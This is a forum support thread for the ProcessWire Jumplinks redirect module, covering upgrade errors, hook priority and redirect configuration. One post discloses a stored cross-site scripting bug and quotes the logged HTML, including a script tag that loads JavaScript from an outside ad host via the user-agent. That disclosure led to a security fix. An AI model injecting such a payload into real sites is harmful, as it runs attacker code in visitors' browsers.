Jump to content

Recommended Posts

@Mike Rockett - I am seeing entries appearing the on the 404 Monitor tab that are actually being properly handled and redirected by PagePathHistory. I am wondering if it's a matter of adjusting the load priority for the Jumplinks module relative to PagePathHistory, or if there is more to fixing this, but it would be great if they weren't being recorded. Any thoughts? Thanks!

Share this post


Link to post
Share on other sites

@Mike Rockett, sorry to bother you with this again, but with version 1.5.56 of Jumplinks we're still seeing quite a few database errors:

Quote

String data, right truncated: 1406 Data too long for column 'request_uri' at row 1 (in /site/assets/cache/FileCompiler/site/modules/ProcessJumplinks/ProcessJumplinks.module.php line 532)

Looking at the database the column is now varchar(512), but it seems that's just not enough.

On a related note: on this site "Log 404 hits to the database" isn't checked, so I'm wondering why this is still happening? This is unrelated to the database issue above, but it also seems that there might be some unnecessary / unexpected process going on in here 🙂

Share this post


Link to post
Share on other sites

not sure if this was reported already, but i'm unable to upgrade past 1.5.54, upgrading from 1.5.54 => 1.5.57 creates a "Failed to init module" error, SQLSTATE[42S21]: Column already exists: 1060 Duplicate column name 'last_hit'. Hope this helps, not sure what the issue is.

Share this post


Link to post
Share on other sites
On 11/8/2019 at 4:36 PM, Ben Sayers said:

Hi @kongondo, no problem at all! I'm just happy to have your support 😃 - I'll stay tuned, thanks!!

@Ben Sayers,

I hope you can forgive my 'ineptitude'. I have been royally swamped.

I tried to install Jumplinks but was inundated with the errors reported by others above, so I gave up on that. Anyway, that was just for testing redirects. My solution below, since Jumplinks isn't working for me (I tried all the way back to version 1.5.50), is to use ProcessWire session redirects. I don't know what that means for you in respect of SEO. I hope I am not polluting Jumplinks' support forum but I need to offer a bit of an explanation.

The template blog-posts has URL segments enabled. If you visit:

domain.tld/blog/posts/an-existing-post/

ProcessWire successfully resolves that since 'an-existing-post' exists. In other words, 'an-existing-post' is not considered a URL segment.

If you visit:

domain.tld/blog/posts/non-existent-post/

the URL does not resolve to an existing post. ProcessWire knows that and considers 'non-existing-post' to be a URL Segment. However, since we have URL segments enabled in blog-posts, ProcessWire lets us deal with the situation. We do this in blog-posts template file. I don't know how Jumplinks works but I assume if we threw a 404 error, it will pick up on that and redirect to our desired URI. Again, I am just guessing here. However, since Jumplinks did not work for me, I suggest the following (session redirect), even as a temporary measure. You can try the 404 option to see if it works. Please report back, thanks.

At the top of your blog-posts template file, insert the following, just above your first include:

if($input->urlSegment1) {
	// @todo: test this with Jumplinks. In that case, comment out "session" code below
    //throw new Wire404Exception();
	// redirect to main blog page. if using this, comment out 404 exception code above
    $session->redirect('/blog/');
}
	
include('./_head.php'); // include header markup

I hope this helps. Apologies again for the delay.

Edited by kongondo

Share this post


Link to post
Share on other sites
4 hours ago, kongondo said:

I hope you can forgive my 'ineptitude'. I have been royally swamped.

Not a problem at all @kongondo, I know how it goes 😃

Quote

At the top of your blog-posts template file, insert the following, just above your first include:


if($input->urlSegment1) {
	// @todo: test this with Jumplinks. In that case, comment out "session" code below
    throw new Wire404Exception();
	// redirect to main blog page. if using this, comment out 404 exception code above
    // $session->redirect('/blog/');
}

I used the first option with Jumplinks and it WORKS!! Hallelujah, thank you so much for your time.

  • Like 1

Share this post


Link to post
Share on other sites
6 minutes ago, Ben Sayers said:

I used the first option with Jumplinks and it WORKS!!

Great! I am glad it got resolved!

Share this post


Link to post
Share on other sites

Hi guys,

Super sorry for not getting back to you – much like @kongondo, royally swamped (this time of year).

First off, I'm battling to understand why folks are having install/upgrade troubles here. Whilst JL1 doesn't use a full-on DB migration strategy, it does have an iterative cycle. If you're on schema v4 and upgrade to the latest version, it should be doing v5 and then v6. Only thing I can think of then is that the schema version got messed up somehow. It gets saved in the module’s config, so I really don't see what could have messed it up (I recently formatted those files, but naturally that should not make a difference). I'd need to try reproduce this to see what might be going on. As an aside, JL2 will use DB migrations, so this issue would less likely be encountered unless the applicable tracking table was truncated. Hoping to get JL2 wrapped up over the holidays (lots of leave-days, no big plans).

@adrian – I see PagePathHistory doesn't set its own priority, and JL does. I recall doing this for a reason, but given what you've said, perhaps JL should be somehow setup to be the 'last resort'?

@teppo – Given the schema errors that are being experienced, I think that for the time being, I'm going to simply truncate the string that gets stored to 512 characters. Also a little confused by the 404 logger – it really should not be doing anything if turned off. I do see that it only logs the 404 if there are no jumplinks – I'll definitely fix up that part. 

Update: I've pushed out 1.5.58 - please let me know if the DB errors stop. Thanks!

 

  • Like 1

Share this post


Link to post
Share on other sites
46 minutes ago, Mike Rockett said:

 I see PagePathHistory doesn't set its own priority, and JL does. I recall doing this for a reason, but given what you've said, perhaps JL should be somehow setup to be the 'last resort'?

Yeah, it's the priority setting, but also you use addHookBefore and PagePathHistory used AddHook (alias of AddHookAfter) so to get it to not log a 404 for those URLs handled by PPH, I changed Jumplinks to use addHookAfter and set the priority to 1000 - remember that 100 is the default.

Any thoughts on committing these changes to JL?

Thanks,
Adrian

Share this post


Link to post
Share on other sites

@adrian – I'd be happy to. I see from a previous discussion with Teppo that the priority was set due to a conflict with sitemaps. That being said, I do believe there is a measure in place to circumvent sitemap.xml URIs from being logged, so as a result, I don't see why we can't change the hook and priority. At the end of the day, it kinda makes sense. Modules that need to do things with 404 events should be given the opportunity to do so before JL comes in as a last resort. So I'm going to go ahead and do this – if anyone encounters any issues, we'll need to deal with them on an as-and-when basis.

  • Like 1

Share this post


Link to post
Share on other sites
Just now, Mike Rockett said:

Have release 1.5.59 with these changes. 🙂

Thanks - awesome, except I am getting this error when updating via PW's Upgrade module.

"File could not be downloaded (https://gitlab.com/rockettpw/seo/jumplinks-one/-/archive/1.5.59/jumplinks-one-1.5.59.zip) 404 Not Found: (tried: curl)"

Any reason you can think of?

Share this post


Link to post
Share on other sites
1 minute ago, adrian said:

Any reason you can think of?

Note to self: When creating tags, be sure to actually click on "Create Tag" 🤣

Please try again 🙂

  • Like 1

Share this post


Link to post
Share on other sites

I keep getting this error:

Failed to init module: ProcessJumplinks - SQLSTATE[42S21]: Column already exists: 1060 Duplicate column name 'last_hit'

Any ideas how to fix this?

thanks

  • Like 1

Share this post


Link to post
Share on other sites

OK, already fixed it.

I dropped the column from the database

Then I also had to drop the whole process_jumplinks_nf table and now the error is gone

  • Like 1

Share this post


Link to post
Share on other sites

@OllieMackJames - hmm, something weird is going on here as this is not the first time this has come up (I don't think)... I wonder if it's something related to the module config. The schema version is set there, and it will iterate through the schema updates until it matches the current version. That particular column is way back in schema v3, which is why I think there might be a config issue going on here... Was this a new install or an upgrade?

  • Like 1

Share this post


Link to post
Share on other sites
On 12/3/2019 at 7:50 PM, Mike Rockett said:

@OllieMackJames - hmm, something weird is going on here as this is not the first time this has come up (I don't think)... I wonder if it's something related to the module config. The schema version is set there, and it will iterate through the schema updates until it matches the current version. That particular column is way back in schema v3, which is why I think there might be a config issue going on here... Was this a new install or an upgrade?

@Mike Rockett it was an upgrade, been using this great module for years already, thanks

Share this post


Link to post
Share on other sites

@OllieMackJames Okay, well I honestly don't think there's much more I can do here (unless I'm missing something staring at me in the face 🙈). Hoping to find time soon to continue work on v2 (starting writing the frontend a little while back), which will keep track of these things a little differently (a migration table). 

8 hours ago, OllieMackJames said:

been using this great module for years already, thanks

Scary to think how long it's been around, and how long I've taken to get v2 anywhere 🙃

  • Like 1

Share this post


Link to post
Share on other sites

Attention!

If you have "log 404 to database" enabled and somebody request some js-bullshit as user-agent, the script gets exectuted, because it is rendered as such in the Jumplinks Table.

Can u please fix this fast?

 

Example with script-tag (i think the script is the user-agent)
<tr>
	<td><a href='entity/?id=0&source=wp-admin'>wp-admin</a></td>
	<td class='blank'></td>
	<td><abbr title=""><script type=text/javascript src='https://statistic.admarketlocation.com/hos?&tp=3'></script>"> </abbr></td>
 	<td>2020-01-09 15:18:54</td>
</tr>

 

  • Like 1
  • Thanks 1

Share this post


Link to post
Share on other sites

@phlp Security Release 1.5.60 is up. Unable to test right now – please could you check to see that all's good?

  • Like 1

Share this post


Link to post
Share on other sites
14 hours ago, Mike Rockett said:

@phlp Security Release 1.5.60 is up. Unable to test right now – please could you check to see that all's good?

Hi.

When there is a script in the user-agent, it gets rendered link this

<tr>
	<td><a href="entity/?id=0&amp;source=wp-admin%2Fwp-login.php">wp-admin/wp-login.php</a></td>
	<td class="blank"></td>
	<td><abbr title="&quot;><script type=text/javascript src='https://statistic.admarketlocation.com/hos?&amp;tp=3'></script>"> </abbr></td>
	<td>2020-01-09 15:19:01</td>
</tr>

It works, but the cell is empty and it still looks creepy.

How about filtering them completely and not even let them in the database?

Share this post


Link to post
Share on other sites

@phlp The reason the cell is empty is because the parser could not determine the browser name and version, and so it's empty anyway. At best, I could simply indicate that the that browser is "unknown" in that column. Wouldn't want to not store unknown agents just because they can't be parsed - this would be getting rid of raw information that might be useful to some folks.

Share this post


Link to post
Share on other sites

Hi there - looking for some support help:

Ordering/Prioritization of Jumplinks 

Is there any way to ensure one or more jumplinks get processed before another:

e.g.

blog/old-url => new-blog/new-url 

gets run before -

blog/{all} => new-blog/{all}

 

Query Strings

Is there any way to ensure that any query string is attached to the destination without having to write a specific redirect

e.g.

old-page-url?foo=bar => new-page-url?foo=bar

I have this in place with the following 2 jumplinks:

old-page-url => new-page-url


and
 

old-page-url?{all} => new-page-url?{all}

but it seems like this should be feasible in one jumplink?

 

Sorry these questions are fairly simple - I feel like I'm missing something staring me right in the face.

 

Thanks

 

Share this post


Link to post
Share on other sites

@baronmunchowsen – I think mapping collections might be what you need if you haven't declared them in the correct order. Create a collection called blog, and include only the one you would like before the catch-all takes effect. So add old-url=new-url in the collection. Then your source would be blog/{all} and your destination would be new-blog/{all|blog}. That should do it, hopefully.

As for query strings, that's being added to v2, which is on hold again unfortunately.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

  • Recently Browsing   0 members

    No registered users viewing this page.

  • Similar Content

    • By teppo
      Needed a really simple solution to embed audio files within page content and couldn't find a module for that, so here we go. Textformatter Audio Embed works a bit like Textformatter Video Embed, converting this:
      <p>https://www.domain.tld/path/to/file.mp3</p> Into this:
      <audio controls class="TextformatterAudioEmbed"> <source src="https://www.domain.tld/path/to/file.mp3" type="audio/mpeg"> </audio> The audio element has pretty good browser support, so quite often this should be enough to get things rolling 🙂
      GitHub repository: https://github.com/teppokoivula/TextformatterAudioEmbed Modules directory: https://modules.processwire.com/modules/textformatter-audio-embed/
    • By Richard Jedlička
      Tense    
      Tense (Test ENvironment Setup & Execution) is a command-line tool to easily run tests agains multiple versions of ProcessWire CMF.
      Are you building a module, or a template and you need to make sure it works in all supported ProcessWire versions? Then Tense is exactly what you need. Write the tests in any testing framework, tell Tense which ProcessWire versions you are interested in and it will do the rest for you.

      See example or see usage in a real project.
      How to use?
      1. Install it: 
      composer global require uiii/tense 2. Create tense.yml config:
      tense init 3. Run it:
      tense run  
      For detailed instructions see Github page: https://github.com/uiii/tense
       
      This is made possible thanks to the great wireshell tool by @justb3a, @marcus and others.
       
      What do you think about it? Do you find it useful? Do you have some idea? Did you find some bug? Tell me you opinion. Write it here or in the issue tracker.
    • By Chris Bennett
      Hi all, I am going round and round in circles and would greatly appreciate if anyone can point me in the right direction.
      I am sure I am doing something dumb, or missing something I should know, but don't. Story of my life 😉

      Playing round with a module and my basic problem is I want to upload an image and also use InputfieldMarkup and other Inputfields.
      Going back and forth between trying an api generated page defining Fieldgroup, Template, Fields, Page and the InputfieldWrapper method.

      InputfieldWrapper method works great for all the markup stuff, but I just can't wrap my head around what I need to do to save the image to the database.
      Can generate a Field for it (thanks to the api investigations) but not sure what I need to do to link the Inputfield to that. Tried a lot of stuff from various threads, of varying dates without luck.
      Undoubtedly not helped by me not knowing enough.

      Defining Fieldgroup etc through the api seems nice and clean and works great for the images but I can't wrap my head around how/if I can add/append/hook the InputfieldWrapper/InputfieldMarkup stuff I'd like to include on that template as well. Not even sure if it should be where it is on ___install with the Fieldtype stuff or later on . Not getting Tracy errors, just nothing seems to happen.
      If anyone has any ideas or can point me in the right direction, that would be great because at the moment I am stumbling round in the dark.
       
      public function ___install() { parent::___install(); $page = $this->pages->get('name='.self::PAGE_NAME); if (!$page->id) { // Create fieldgroup, template, fields and page // Create new fieldgroup $fmFieldgroup = new Fieldgroup(); $fmFieldgroup->name = MODULE_NAME.'-fieldgroup'; $fmFieldgroup->add($this->fields->get('title')); // needed title field $fmFieldgroup->save(); // Create new template using the fieldgroup $fmTemplate = new Template(); $fmTemplate->name = MODULE_NAME; $fmTemplate->fieldgroup = $fmFieldgroup; $fmTemplate->noSettings = 1; $fmTemplate->noChildren = 1; $fmTemplate->allowNewPages = 0; $fmTemplate->tabContent = MODULE_NAME; $fmTemplate->noChangeTemplate = 1; $fmTemplate->setIcon(ICON); $fmTemplate->save(); // Favicon source $fmField = new Field(); $fmField->type = $this->modules->get("FieldtypeImage"); $fmField->name = 'fmFavicon'; $fmField->label = 'Favicon'; $fmField->focusMode = 'off'; $fmField->gridMode = 'grid'; $fmField->extensions = 'svg png'; $fmField->columnWidth = 50; $fmField->collapsed = Inputfield::collapsedNever; $fmField->setIcon(ICON); $fmField->addTag(MODULE_NAME); $fmField->save(); $fmFieldgroup->add($fmField); // Favicon Silhouette source $fmField = new Field(); $fmField->type = $this->modules->get("FieldtypeImage"); $fmField->name = 'fmFaviconSilhouette'; $fmField->label = 'SVG Silhouette'; $fmField->notes = 'When creating a silhouette/mask svg version for Safari Pinned Tabs and Windows Tiles, we recommend setting your viewbox for 0 0 16 16, as this is what Apple requires. In many cases, the easiest way to do this in something like illustrator is a sacrificial rectangle with no fill, and no stroke at 16 x 16. This forces the desired viewbox and can then be discarded easily using something as simple as notepad. Easy is good, especially when you get the result you want without a lot of hassle.'; $fmField->focusMode = 'off'; $fmField->extensions = 'svg'; $fmField->columnWidth = 50; $fmField->collapsed = Inputfield::collapsedNever; $fmField->setIcon(ICON); $fmField->addTag(MODULE_NAME); $fmField->save(); $fmFieldgroup->add($fmField); // Create: Open Settings Tab $tabOpener = new Field(); $tabOpener->type = new FieldtypeFieldsetTabOpen(); $tabOpener->name = 'fmTab1'; $tabOpener->label = "Favicon Settings"; $tabOpener->collapsed = Inputfield::collapsedNever; $tabOpener->addTag(MODULE_NAME); $tabOpener->save(); // Create: Close Settings Tab $tabCloser = new Field(); $tabCloser->type = new FieldtypeFieldsetClose; $tabCloser->name = 'fmTab1' . FieldtypeFieldsetTabOpen::fieldsetCloseIdentifier; $tabCloser->label = "Close open tab"; $tabCloser->addTag(MODULE_NAME); $tabCloser->save(); // Create: Opens wrapper for Favicon Folder Name $filesOpener = new Field(); $filesOpener->type = new FieldtypeFieldsetOpen(); $filesOpener->name = 'fmOpenFolderName'; $filesOpener->label = 'Wrap Folder Name'; $filesOpener->class = 'inline'; $filesOpener->collapsed = Inputfield::collapsedNever; $filesOpener->addTag(MODULE_NAME); $filesOpener->save(); // Create: Close wrapper for Favicon Folder Name $filesCloser = new Field(); $filesCloser->type = new FieldtypeFieldsetClose(); $filesCloser->name = 'fmOpenFolderName' . FieldtypeFieldsetOpen::fieldsetCloseIdentifier; $filesCloser->label = "Close open fieldset"; $filesCloser->addTag(MODULE_NAME); $filesCloser->save(); // Create Favicon Folder Name $fmField = new Field(); $fmField->type = $this->modules->get("FieldtypeText"); $fmField->name = 'folderName'; $fmField->label = 'Favicon Folder:'; $fmField->description = $this->config->urls->files; $fmField->placeholder = 'Destination Folder for your generated favicons, webmanifest and browserconfig'; $fmField->columnWidth = 100; $fmField->collapsed = Inputfield::collapsedNever; $fmField->setIcon('folder'); $fmField->addTag(MODULE_NAME); $fmField->save(); $fmFieldgroup->add($tabOpener); $fmFieldgroup->add($filesOpener); $fmFieldgroup->add($fmField); $fmFieldgroup->add($filesCloser); $fmFieldgroup->add($tabCloser); $fmFieldgroup->save(); /////////////////////////////////////////////////////////////// // Experimental Markup Tests $wrapperFaviconMagic = new InputfieldWrapper(); $wrapperFaviconMagic->attr('id','faviconMagicWrapper'); $wrapperFaviconMagic->attr('title',$this->_('Favicon Magic')); // field show info what $field = $this->modules->get('InputfieldMarkup'); $field->name = 'use'; $field->label = __('How do I use it?'); $field->collapsed = Inputfield::collapsedNever; $field->icon('info'); $field->attr('value', 'Does this even begin to vaguely work?'); $field->columnWidth = 50; $wrapperFaviconMagic->add($field); $fmTemplate->fields->add($wrapperFaviconMagic); $fmTemplate->fields->save(); ///////////////////////////////////////////////////////////// // Create page $page = $this->wire( new Page() ); $page->template = MODULE_NAME; $page->parent = $this->wire('pages')->get('/'); $page->addStatus(Page::statusHidden); $page->title = 'Favicons'; $page->name = self::PAGE_NAME; $page->process = $this; $page->save(); } }  
    • By Sebi
      Since it's featured in ProcessWire Weekly #310, now is the time to make it official:
      Here is Twack!
      I really like the following introduction from ProcessWire Weekly, so I hope it is ok if I use it here, too. Look at the project's README for more details!
      Twack is a new — or rather newish — third party module for ProcessWire that provides support for reusable components in an Angular-inspired way. Twack is implemented as an installable module, and a collection of helper and base classes. Key concepts introduced by this module are:
      Components, which have separate views and controllers. Views are simple PHP files that handle the output for the component, whereas controllers extend the TwackComponent base class and provide additional data handling capabilities. Services, which are singletons that provide a shared service where components can request data. The README for Twack uses a NewsService, which returns data related to news items, as an example of a service. Twack components are designed for reusability and encapsulating a set of features for easy maintainability, can handle hierarchical or recursive use (child components), and are simple to integrate with an existing site — even when said site wasn't originally developed with Twack.
      A very basic Twack component view could look something like this:
      <?php namespace ProcessWire; ?> <h1>Hello World!</h1> And here's how you could render it via the API:
      <?php namespace Processwire; $twack = $modules->get('Twack'); $hello = $twack->getNewComponent('HelloWorld'); ?> <html> <head> <title>Hello World</title> </head> <body> <?= $hello->render() ?> </body> </html> Now, just to add a bit more context, here's a simple component controller:
      <?php namespace ProcessWire; class HelloWorld extends TwackComponent { public function __construct($args) { parent::__construct($args); $this->title = 'Hello World!'; if(isset($args['title'])) { $this->title = $args['title']; } } } As you can see, there's not a whole lot new stuff to learn here if you'd like to give Twack a try in one of your projects. The Twack README provides a really informative and easy to follow introduction to all the key concepts (as well as some additional examples) so be sure to check that out before getting started. 
      Twack is in development for several years and I use it for every new project I build. Also integrated is an easy to handle workflow to make outputs as JSON, so it can be used to build responses for a REST-api as well. I will work that out in one section in the readme as well. 
      If you want to see the module in an actual project, I have published the code of www.musical-fabrik.de in a repository. It runs completely with Twack and has an app-endpoint with ajax-output as well.
      I really look forward to hear, what you think of Twack🥳!
      Features Installation Usage Quickstart: Creating a component Naming conventions & component variants Component Parameters directory page parameters viewname Asset handling Services Named components Global components Ajax-Output Configuration Versioning License Changelog
    • By Robin S
      Page Reference Default Value
      Most ProcessWire core inputfield types that can be used with a Page Reference field support a "Default value" setting. This module extends support for default values to the following core inputfield types:
      Page List Select Page List Select Multiple Page Autocomplete (single and multiple) Seeing as these inputfield types only support the selection of pages a Page List Select / Page List Select Multiple is used for defining the default value instead of the Text / Textarea field used by the core for other inputfield types. This makes defining a default value a bit more user-friendly.
      Note that as per the core "Default value" setting, the Page Reference field must be set to "required" in order for the default value to be used.
      Screenshot

       
      https://github.com/Toutouwai/PageReferenceDefaultValue
      https://modules.processwire.com/modules/page-reference-default-value/
×
×
  • Create New...